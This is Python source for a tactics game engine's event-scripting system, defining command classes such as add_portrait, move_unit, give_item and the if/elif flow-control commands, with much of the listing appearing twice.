optional_keywords = ['Position', 'MovementType', 'Placement']
flags = ['no_block', 'no_follow']
class RemoveUnit(EventCommand):
nid = 'remove_unit'
nickname = 'remove'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
optional_keywords = ['RemoveType']
class KillUnit(EventCommand):
nid = 'kill_unit'
nickname = 'kill'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
flags = ['immediate']
class RemoveAllUnits(EventCommand):
nid = 'remove_all_units'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class RemoveAllEnemies(EventCommand):
nid = 'remove_all_enemies'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class InteractUnit(EventCommand):
nid = 'interact_unit'
nickname = 'interact'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit', 'Unit']
optional_keywords = ['CombatScript', 'Ability']
class SetCurrentHP(EventCommand):
nid = 'set_current_hp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit', 'PositiveInteger']
class SetCurrentMana(EventCommand):
nid = 'set_current_mana'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit', 'PositiveInteger']
class Resurrect(EventCommand):
nid = 'resurrect'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['GlobalUnit']
class Reset(EventCommand):
nid = 'reset'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class HasAttacked(EventCommand):
nid = 'has_attacked'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class HasTraded(EventCommand):
nid = 'has_traded'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class AddGroup(EventCommand):
nid = 'add_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group']
optional_keywords = ['StartingGroup', 'EntryType', 'Placement']
flags = ['create']
class SpawnGroup(EventCommand):
nid = 'spawn_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group', 'CardinalDirection', 'StartingGroup']
optional_keywords = ['EntryType', 'Placement']
flags = ['create', 'no_block', 'no_follow']
class MoveGroup(EventCommand):
nid = 'move_group'
nickname = 'morph_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group', 'StartingGroup']
optional_keywords = ['MovementType', 'Placement']
flags = ['no_block', 'no_follow']
class RemoveGroup(EventCommand):
nid = 'remove_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group']
optional_keywords = ['RemoveType']
class GiveItem(EventCommand):
nid = 'give_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Item']
flags = ['no_banner', 'no_choice', 'droppable']
class RemoveItem(EventCommand):
nid = 'remove_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Item']
flags = ['no_banner']
class GiveMoney(EventCommand):
nid = 'give_money'
tag = Tags.GAME_VARS
keywords = ['Integer']
optional_keywords = ['Party']
flags = ['no_banner']
class GiveBexp(EventCommand):
nid = 'give_bexp'
tag = Tags.GAME_VARS
keywords = ['Condition']
optional_keywords = ['Party', 'String']
flags = ['no_banner']
class GiveExp(EventCommand):
nid = 'give_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PositiveInteger']
class SetExp(EventCommand):
nid = 'set_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PositiveInteger']
class GiveWexp(EventCommand):
nid = 'give_wexp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'WeaponType', 'Integer']
flags = ['no_banner']
class GiveSkill(EventCommand):
nid = 'give_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class RemoveSkill(EventCommand):
nid = 'remove_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class ChangeAI(EventCommand):
nid = 'change_ai'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'AI']
class ChangeTeam(EventCommand):
nid = 'change_team'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Team']
class ChangePortrait(EventCommand):
nid = 'change_portrait'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PortraitNid']
class ChangeStats(EventCommand):
nid = 'change_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class SetStats(EventCommand):
nid = 'set_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class AutolevelTo(EventCommand):
nid = 'autolevel_to'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'String']
flags = ['hidden']
class SetModeAutolevels(EventCommand):
nid = 'set_mode_autolevels'
tag = Tags.GAME_VARS
keywords = ['String']
flags = ['hidden']
class Promote(EventCommand):
nid = 'promote'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class ChangeClass(EventCommand):
nid = 'change_class'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class AddTag(EventCommand):
nid = 'add_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class RemoveTag(EventCommand):
nid = 'remove_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class AddTalk(EventCommand):
nid = 'add_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class RemoveTalk(EventCommand):
nid = 'remove_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class AddLore(EventCommand):
nid = 'add_lore'
nickname = 'unlock_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class RemoveLore(EventCommand):
nid = 'remove_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class AddBaseConvo(EventCommand):
nid = 'add_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IgnoreBaseConvo(EventCommand):
nid = 'ignore_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class RemoveBaseConvo(EventCommand):
nid = 'remove_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IncrementSupportPoints(EventCommand):
nid = 'increment_support_points'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']
class AddMarketItem(EventCommand):
nid = 'add_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class RemoveMarketItem(EventCommand):
nid = 'remove_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class AddRegion(EventCommand):
nid = 'add_region'
tag = Tags.REGION
keywords = ['Nid', 'Position', 'Size', 'RegionType']
optional_keywords = ['String']
flags = ['only_once']
class RegionCondition(EventCommand):
nid = 'region_condition'
tag = Tags.REGION
keywords = ['Nid', 'Condition']
class RemoveRegion(EventCommand):
nid = 'remove_region'
tag = Tags.REGION
keywords = ['Nid']
class ShowLayer(EventCommand):
nid = 'show_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class HideLayer(EventCommand):
nid = 'hide_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class AddWeather(EventCommand):
nid = 'add_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class RemoveWeather(EventCommand):
nid = 'remove_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class ChangeObjectiveSimple(EventCommand):
nid = 'change_objective_simple'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveWin(EventCommand):
nid = 'change_objective_win'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveLoss(EventCommand):
nid = 'change_objective_loss'
tag = Tags.LEVEL_VARS
keywords = ['String']
class SetPosition(EventCommand):
nid = 'set_position'
tag = Tags.MISCELLANEOUS
keywords = ['String']
class MapAnim(EventCommand):
nid = 'map_anim'
tag = Tags.TILEMAP
keywords = ['MapAnim', 'Position']
flags = ['no_block']
class ArrangeFormation(EventCommand):
nid = 'arrange_formation'
tag = Tags.MISCELLANEOUS
class Prep(EventCommand):
nid = 'prep'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Bool', 'Music']
class Base(EventCommand):
nid = 'base'
tag = Tags.MISCELLANEOUS
keywords = ['Panorama']
optional_keywords = ['Music']
class Shop(EventCommand):
nid = 'shop'
tag = Tags.MISCELLANEOUS
keywords = ['Unit', 'ItemList']
optional_keywords = ['ShopFlavor']
class Choice(EventCommand):
nid = 'choice'
tag = Tags.MISCELLANEOUS
keywords = ['Nid', 'String', 'StringList']
optional_keywords = ['Orientation']
class ChapterTitle(EventCommand):
nid = 'chapter_title'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Music', 'String']
class Alert(EventCommand):
nid = 'alert'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class VictoryScreen(EventCommand):
nid = 'victory_screen'
tag = Tags.MISCELLANEOUS
class RecordsScreen(EventCommand):
nid = 'records_screen'
tag = Tags.MISCELLANEOUS
class LocationCard(EventCommand):
nid = 'location_card'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class Credits(EventCommand):
nid = 'credits'
tag = Tags.DIALOGUE_TEXT
keywords = ['String', 'String']
flags = ['wait', 'center', 'no_split']
class Ending(EventCommand):
nid = 'ending'
tag = Tags.DIALOGUE_TEXT
keywords = ['Portrait', 'String', 'String']
class PopDialog(EventCommand):
nid = 'pop_dialog'
tag = Tags.DIALOGUE_TEXT
desc = """
Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.
Example:
```
ending;Coyote;Coyote, Man of Mystery;Too mysterious for words.
transition;Close
pop_dialog
transition;Open
```
"""
class Unlock(EventCommand):
nid = 'unlock'
tag = Tags.REGION
keywords = ['Unit']
class FindUnlock(EventCommand):
nid = 'find_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class SpendUnlock(EventCommand):
nid = 'spend_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class TriggerScript(EventCommand):
nid = 'trigger_script'
tag = Tags.MISCELLANEOUS
keywords = ['Event']
optional_keywords = ['GlobalUnit', 'GlobalUnit']
class ChangeRoaming(EventCommand):
nid = 'change_roaming'
tag = Tags.MISCELLANEOUS
desc = 'Turn free roam mode on or off'
keywords = ['Bool']
class ChangeRoamingUnit(EventCommand):
nid = 'change_roaming_unit'
tag = Tags.MISCELLANEOUS
desc = "Changes the level's current roaming unit."
keywords = ['Unit']
class CleanUpRoaming(EventCommand):
nid = 'clean_up_roaming'
tag = Tags.MISCELLANEOUS
desc = 'Removes all units other than the roaming unit'
keywords = []
class AddToInitiative(EventCommand):
nid = 'add_to_initiative'
tag = Tags.MISCELLANEOUS
desc = (
'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'
)
keywords = ['Unit', 'Integer']
class MoveInInitiative(EventCommand):
nid = 'move_in_initiative'
tag = Tags.MISCELLANEOUS
desc = 'Moves the initiative of the specified unit.'
keywords = ['Unit', 'Integer']
<|reserved_special_token_0|>
<|reserved_special_token_1|>
from enum import Enum
from app.utilities.data import Prefab
class Tags(Enum):
FLOW_CONTROL = 'Flow Control'
MUSIC_SOUND = 'Music/Sound'
PORTRAIT = 'Portrait'
BG_FG = 'Background/Foreground'
DIALOGUE_TEXT = 'Dialogue/Text'
CURSOR_CAMERA = 'Cursor/Camera'
LEVEL_VARS = 'Level-wide Unlocks and Variables'
GAME_VARS = 'Game-wide Unlocks and Variables'
TILEMAP = 'Tilemap'
REGION = 'Region'
ADD_REMOVE_INTERACT_WITH_UNITS = 'Add/Remove/Interact with Units'
MODIFY_UNIT_PROPERTIES = 'Modify Unit Properties'
UNIT_GROUPS = 'Unit Groups'
MISCELLANEOUS = 'Miscellaneous'
HIDDEN = 'Hidden'
class EventCommand(Prefab):
nid: str = None
nickname: str = None
tag: Tags = Tags.HIDDEN
desc: str = ''
keywords: list = []
optional_keywords: list = []
flags: list = []
values: list = []
display_values: list = []
def __init__(self, values=None, disp_values=None):
self.values = values or []
self.display_values = disp_values or values or []
def save(self):
# Don't bother saving display values if they are identical
if self.display_values == self.values:
return self.nid, self.values
else:
return self.nid, self.values, self.display_values
def to_plain_text(self):
if self.display_values:
return ';'.join([self.nid] + self.display_values)
else:
return ';'.join([self.nid] + self.values)
def __repr__(self):
return self.to_plain_text()
class Comment(EventCommand):
nid = "comment"
nickname = '#'
tag = Tags.FLOW_CONTROL
desc = \
"""
**Lines** starting with '#' will be ignored.
"""
def to_plain_text(self):
return self.values[0]
class If(EventCommand):
nid = "if"
tag = Tags.FLOW_CONTROL
desc = \
"""
If the _Condition_ returns true, the block under this command will be executed. If it returns false, the script will search for the next **elif**, **else**, or **end** command before proceeding. If it is not a valid Python expression, the result will be treated as false.
Remember to end your **if** blocks with **end**.
The indentation is not required, but is recommended for organization of the conditional blocks.
Example:
```
if;game.check_dead('Eirika')
lose_game
elif;game.check_dead('Lyon')
win_game
else
u;Eirika
s;Eirika;Nice!
r;Eirika
end
```
"""
keywords = ['Condition']
class Elif(EventCommand):
nid = "elif"
tag = Tags.FLOW_CONTROL
desc = \
"""
Works exactly like the **if** statement, but is called only if the previous **if** or **elif** returned false.
In the following example, the **elif** will only be processed if `if;game.check_dead('Eirika')` return false.
Example:
```
if;game.check_dead('Eirika')
lose_game
elif;game.check_dead('Lyon')
win_game
else
u;Eirika
s;Eirika;Nice!
r;Eirika
end
```
"""
keywords = ['Condition']
class Else(EventCommand):
nid = "else"
tag = Tags.FLOW_CONTROL
desc = \
"""
Defines a block to be executed only if the previous **if** or **elif** returned false.
Example:
```
if;game.check_dead('Eirika')
lose_game
elif;game.check_dead('Lyon')
win_game
else
u;Eirika
s;Eirika;Nice!
r;Eirika
end
```
"""
class End(EventCommand):
nid = "end"
tag = Tags.FLOW_CONTROL
desc = \
"""
Ends a conditional block. Refer to the **if** command for more information.
"""
class Break(EventCommand):
nid = "break"
tag = Tags.FLOW_CONTROL
desc = \
"""
Immediately ends the current event.
"""
class Wait(EventCommand):
nid = "wait"
tag = Tags.FLOW_CONTROL
desc = \
"""
Pauses the execution of the script for _Time_ milliseconds.
Often used after a scene transition, cursor movement, or reinforcements to give the player a chance to take in the scene.
"""
keywords = ['Time']
class EndSkip(EventCommand):
nid = "end_skip"
tag = Tags.FLOW_CONTROL
desc = \
"""
If the player was skipping through the event script, stop the skip here. Used to prevent a single skip from skipping through an entire event.
"""
class Music(EventCommand):
nid = "music"
nickname = "m"
tag = Tags.MUSIC_SOUND
desc = \
"""
Fades in _Music_ over the course of _Time_ milliseconds. Fade in defaults to 400 milliseconds.
"""
keywords = ['Music']
optional_keywords = ['Time'] # How long to fade in (default 400)
class MusicClear(EventCommand):
nid = "music_clear"
tag = Tags.MUSIC_SOUND
desc = \
"""
Fades out the currently playing song over the course of _Time_ milliseconds. Also clears the entire song stack. Fade out defaults to 400 milliseconds.
"""
optional_keywords = ['Time'] # How long to fade out
class Sound(EventCommand):
nid = "sound"
tag = Tags.MUSIC_SOUND
desc = \
"""
Plays the _Sound_ once.
"""
keywords = ['Sound']
class ChangeMusic(EventCommand):
nid = 'change_music'
tag = Tags.MUSIC_SOUND
desc = \
"""
Changes the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.
"""
keywords = ['PhaseMusic', 'Music']
class AddPortrait(EventCommand):
nid = "add_portrait"
nickname = "u"
tag = Tags.PORTRAIT
desc = \
"""
Adds a portrait to the screen.
Extra flags:
1. _mirror_: Portrait will face opposite expected direction.
2. _low_priority_: Portrait will appear behind all other portraits on the screen.
3. _immediate_: Portrait will not fade in.
4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.
"""
keywords = ['Portrait', 'ScreenPosition']
optional_keywords = ['Slide', 'ExpressionList']
flags = ["mirror", "low_priority", "immediate", "no_block"]
class MultiAddPortrait(EventCommand):
nid = "multi_add_portrait"
nickname = "uu"
tag = Tags.PORTRAIT
desc = \
"""
Adds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.
"""
keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']
optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']
class RemovePortrait(EventCommand):
nid = "remove_portrait"
nickname = "r"
tag = Tags.PORTRAIT
keywords = ['Portrait']
flags = ["immediate", "no_block"]
class MultiRemovePortrait(EventCommand):
nid = "multi_remove_portrait"
nickname = "rr"
tag = Tags.PORTRAIT
keywords = ['Portrait', 'Portrait']
optional_keywords = ['Portrait', 'Portrait']
class MovePortrait(EventCommand):
nid = "move_portrait"
tag = Tags.PORTRAIT
keywords = ['Portrait', 'ScreenPosition']
flags = ["immediate", "no_block"]
class BopPortrait(EventCommand):
nid = "bop_portrait"
nickname = "bop"
tag = Tags.PORTRAIT
keywords = ['Portrait']
flags = ["no_block"]
class Expression(EventCommand):
nid = "expression"
nickname = "e"
tag = Tags.PORTRAIT
keywords = ['Portrait', 'ExpressionList']
class Speak(EventCommand):
nid = "speak"
nickname = "s"
tag = Tags.DIALOGUE_TEXT
keywords = ['Speaker', 'Text']
optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']
flags = ['low_priority']
class Transition(EventCommand):
nid = "transition"
nickname = "t"
tag = Tags.BG_FG
optional_keywords = ['Direction', 'Speed', 'Color3']
class Background(EventCommand):
# Also does remove background
nid = "change_background"
nickname = "b"
tag = Tags.BG_FG
optional_keywords = ['Panorama']
flags = ["keep_portraits"]
class DispCursor(EventCommand):
nid = "disp_cursor"
tag = Tags.CURSOR_CAMERA
keywords = ["Bool"]
class MoveCursor(EventCommand):
nid = "move_cursor"
nickname = "set_cursor"
tag = Tags.CURSOR_CAMERA
keywords = ["Position"]
flags = ["immediate"]
class CenterCursor(EventCommand):
nid = "center_cursor"
tag = Tags.CURSOR_CAMERA
keywords = ["Position"]
flags = ["immediate"]
class FlickerCursor(EventCommand):
nid = 'flicker_cursor'
nickname = 'highlight'
tag = Tags.CURSOR_CAMERA
keywords = ["Position"]
flags = ["immediate"]
class GameVar(EventCommand):
nid = 'game_var'
tag = Tags.GAME_VARS
keywords = ["Nid", "Condition"]
class IncGameVar(EventCommand):
nid = 'inc_game_var'
tag = Tags.GAME_VARS
keywords = ["Nid"]
optional_keywords = ["Condition"]
class LevelVar(EventCommand):
nid = 'level_var'
tag = Tags.LEVEL_VARS
keywords = ["Nid", "Condition"]
class IncLevelVar(EventCommand):
nid = 'inc_level_var'
tag = Tags.LEVEL_VARS
keywords = ["Nid"]
optional_keywords = ["Condition"]
class WinGame(EventCommand):
nid = 'win_game'
tag = Tags.LEVEL_VARS
class LoseGame(EventCommand):
nid = 'lose_game'
tag = Tags.LEVEL_VARS
class ActivateTurnwheel(EventCommand):
nid = 'activate_turnwheel'
tag = Tags.MISCELLANEOUS
# Whether to force the player to move the turnwheel back
# defaults to true
optional_keywords = ['Bool']
class BattleSave(EventCommand):
nid = 'battle_save'
tag = Tags.MISCELLANEOUS
class ChangeTilemap(EventCommand):
nid = 'change_tilemap'
tag = Tags.TILEMAP
keywords = ["Tilemap"]
# How much to offset placed units by
# Which tilemap to load the unit positions from
optional_keywords = ["PositionOffset", "Tilemap"]
flags = ["reload"] # Should place units in previously recorded positions
class LoadUnit(EventCommand):
nid = 'load_unit'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ["UniqueUnit"]
optional_keywords = ["Team", "AI"]
class MakeGeneric(EventCommand):
nid = 'make_generic'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
# Nid, class, level, team, ai, faction, anim variant
keywords = ["String", "Klass", "String", "Team"]
optional_keywords = ["AI", "Faction", "String", "ItemList"]
class CreateUnit(EventCommand):
nid = 'create_unit'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
# Unit template and new unit nid (can be '')
keywords = ["Unit", "String"]
# Unit level, position, entrytype, placement
optional_keywords = ["String", "Position", "EntryType", "Placement"]
class AddUnit(EventCommand):
nid = 'add_unit'
nickname = 'add'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ["Unit"]
optional_keywords = ["Position", "EntryType", "Placement"]
class MoveUnit(EventCommand):
nid = 'move_unit'
nickname = 'move'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ["Unit"]
optional_keywords = ["Position", "MovementType", "Placement"]
flags = ['no_block', 'no_follow']
class RemoveUnit(EventCommand):
nid = 'remove_unit'
nickname = 'remove'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ["Unit"]
optional_keywords = ["RemoveType"]
class KillUnit(EventCommand):
nid = 'kill_unit'
nickname = 'kill'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ["Unit"]
flags = ['immediate']
class RemoveAllUnits(EventCommand):
nid = 'remove_all_units'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class RemoveAllEnemies(EventCommand):
nid = 'remove_all_enemies'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class InteractUnit(EventCommand):
nid = 'interact_unit'
nickname = 'interact'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ["Unit", "Unit"]
optional_keywords = ["CombatScript", "Ability"]
class SetCurrentHP(EventCommand):
nid = 'set_current_hp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["Unit", "PositiveInteger"]
class SetCurrentMana(EventCommand):
nid = 'set_current_mana'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["Unit", "PositiveInteger"]
class Resurrect(EventCommand):
nid = 'resurrect'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ["GlobalUnit"]
class Reset(EventCommand):
nid = 'reset'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["Unit"]
class HasAttacked(EventCommand):
nid = 'has_attacked'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["Unit"]
class HasTraded(EventCommand):
nid = 'has_traded'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class AddGroup(EventCommand):
nid = 'add_group'
tag = Tags.UNIT_GROUPS
keywords = ["Group"]
optional_keywords = ["StartingGroup", "EntryType", "Placement"]
flags = ["create"]
class SpawnGroup(EventCommand):
nid = 'spawn_group'
tag = Tags.UNIT_GROUPS
keywords = ["Group", "CardinalDirection", "StartingGroup"]
optional_keywords = ["EntryType", "Placement"]
flags = ["create", "no_block", 'no_follow']
class MoveGroup(EventCommand):
nid = 'move_group'
nickname = 'morph_group'
tag = Tags.UNIT_GROUPS
keywords = ["Group", "StartingGroup"]
optional_keywords = ["MovementType", "Placement"]
flags = ['no_block', 'no_follow']
class RemoveGroup(EventCommand):
nid = 'remove_group'
tag = Tags.UNIT_GROUPS
keywords = ["Group"]
optional_keywords = ["RemoveType"]
class GiveItem(EventCommand):
nid = 'give_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "Item"]
flags = ['no_banner', 'no_choice', 'droppable']
class RemoveItem(EventCommand):
nid = 'remove_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "Item"]
flags = ['no_banner']
class GiveMoney(EventCommand):
nid = 'give_money'
tag = Tags.GAME_VARS
keywords = ["Integer"]
optional_keywords = ["Party"]
flags = ['no_banner']
class GiveBexp(EventCommand):
nid = 'give_bexp'
tag = Tags.GAME_VARS
keywords = ["Condition"]
optional_keywords = ["Party", "String"]
flags = ['no_banner']
class GiveExp(EventCommand):
nid = 'give_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "PositiveInteger"]
class SetExp(EventCommand):
nid = 'set_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "PositiveInteger"]
class GiveWexp(EventCommand):
nid = 'give_wexp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "WeaponType", "Integer"]
flags = ['no_banner']
class GiveSkill(EventCommand):
nid = 'give_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "Skill"]
flags = ['no_banner']
class RemoveSkill(EventCommand):
nid = 'remove_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "Skill"]
flags = ['no_banner']
class ChangeAI(EventCommand):
nid = 'change_ai'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "AI"]
class ChangeTeam(EventCommand):
nid = 'change_team'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "Team"]
class ChangePortrait(EventCommand):
nid = 'change_portrait'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "PortraitNid"]
class ChangeStats(EventCommand):
nid = 'change_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "StatList"]
flags = ['immediate']
class SetStats(EventCommand):
nid = 'set_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "StatList"]
flags = ['immediate']
class AutolevelTo(EventCommand):
nid = 'autolevel_to'
tag = Tags.MODIFY_UNIT_PROPERTIES
# Second argument is level that is eval'd
keywords = ["GlobalUnit", "String"]
# Whether to actually change the unit's level
flags = ["hidden"]
class SetModeAutolevels(EventCommand):
nid = 'set_mode_autolevels'
tag = Tags.GAME_VARS
keywords = ["String"]
# Whether to actually change the unit's level
flags = ["hidden"]
class Promote(EventCommand):
nid = 'promote'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit"]
optional_keywords = ["Klass"]
class ChangeClass(EventCommand):
nid = 'change_class'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit"]
optional_keywords = ["Klass"]
class AddTag(EventCommand):
nid = 'add_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "Tag"]
class RemoveTag(EventCommand):
nid = 'remove_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ["GlobalUnit", "Tag"]
class AddTalk(EventCommand):
nid = 'add_talk'
tag = Tags.LEVEL_VARS
keywords = ["Unit", "Unit"]
class RemoveTalk(EventCommand):
nid = 'remove_talk'
tag = Tags.LEVEL_VARS
keywords = ["Unit", "Unit"]
class AddLore(EventCommand):
nid = 'add_lore'
nickname = 'unlock_lore'
tag = Tags.GAME_VARS
keywords = ["Lore"]
class RemoveLore(EventCommand):
nid = 'remove_lore'
tag = Tags.GAME_VARS
keywords = ["Lore"]
class AddBaseConvo(EventCommand):
nid = 'add_base_convo'
tag = Tags.LEVEL_VARS
keywords = ["String"]
class IgnoreBaseConvo(EventCommand):
nid = 'ignore_base_convo'
tag = Tags.LEVEL_VARS
keywords = ["String"]
class RemoveBaseConvo(EventCommand):
nid = 'remove_base_convo'
tag = Tags.LEVEL_VARS
keywords = ["String"]
class IncrementSupportPoints(EventCommand):
nid = 'increment_support_points'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']
class AddMarketItem(EventCommand):
nid = 'add_market_item'
tag = Tags.GAME_VARS
keywords = ["Item"]
class RemoveMarketItem(EventCommand):
nid = 'remove_market_item'
tag = Tags.GAME_VARS
keywords = ["Item"]
class AddRegion(EventCommand):
nid = 'add_region'
tag = Tags.REGION
keywords = ["Nid", "Position", "Size", "RegionType"]
optional_keywords = ["String"]
flags = ["only_once"]
class RegionCondition(EventCommand):
nid = 'region_condition'
tag = Tags.REGION
keywords = ["Nid", "Condition"]
class RemoveRegion(EventCommand):
nid = 'remove_region'
tag = Tags.REGION
keywords = ["Nid"]
class ShowLayer(EventCommand):
nid = 'show_layer'
tag = Tags.TILEMAP
keywords = ["Layer"]
optional_keywords = ["LayerTransition"]
class HideLayer(EventCommand):
nid = 'hide_layer'
tag = Tags.TILEMAP
keywords = ["Layer"]
optional_keywords = ["LayerTransition"]
class AddWeather(EventCommand):
nid = 'add_weather'
tag = Tags.TILEMAP
keywords = ["Weather"]
class RemoveWeather(EventCommand):
nid = 'remove_weather'
tag = Tags.TILEMAP
keywords = ["Weather"]
class ChangeObjectiveSimple(EventCommand):
nid = 'change_objective_simple'
tag = Tags.LEVEL_VARS
keywords = ["String"]
class ChangeObjectiveWin(EventCommand):
nid = 'change_objective_win'
tag = Tags.LEVEL_VARS
keywords = ["String"]
class ChangeObjectiveLoss(EventCommand):
nid = 'change_objective_loss'
tag = Tags.LEVEL_VARS
keywords = ["String"]
class SetPosition(EventCommand):
nid = 'set_position'
tag = Tags.MISCELLANEOUS
keywords = ["String"]
class MapAnim(EventCommand):
nid = 'map_anim'
tag = Tags.TILEMAP
keywords = ["MapAnim", "Position"]
flags = ["no_block"]
class ArrangeFormation(EventCommand):
nid = 'arrange_formation'
tag = Tags.MISCELLANEOUS
# Puts units on formation tiles automatically
class Prep(EventCommand):
nid = 'prep'
tag = Tags.MISCELLANEOUS
optional_keywords = ["Bool", "Music"] # Pick units
class Base(EventCommand):
nid = 'base'
tag = Tags.MISCELLANEOUS
keywords = ["Panorama"]
optional_keywords = ["Music"]
class Shop(EventCommand):
nid = 'shop'
tag = Tags.MISCELLANEOUS
keywords = ["Unit", "ItemList"]
optional_keywords = ["ShopFlavor"]
class Choice(EventCommand):
nid = 'choice'
tag = Tags.MISCELLANEOUS
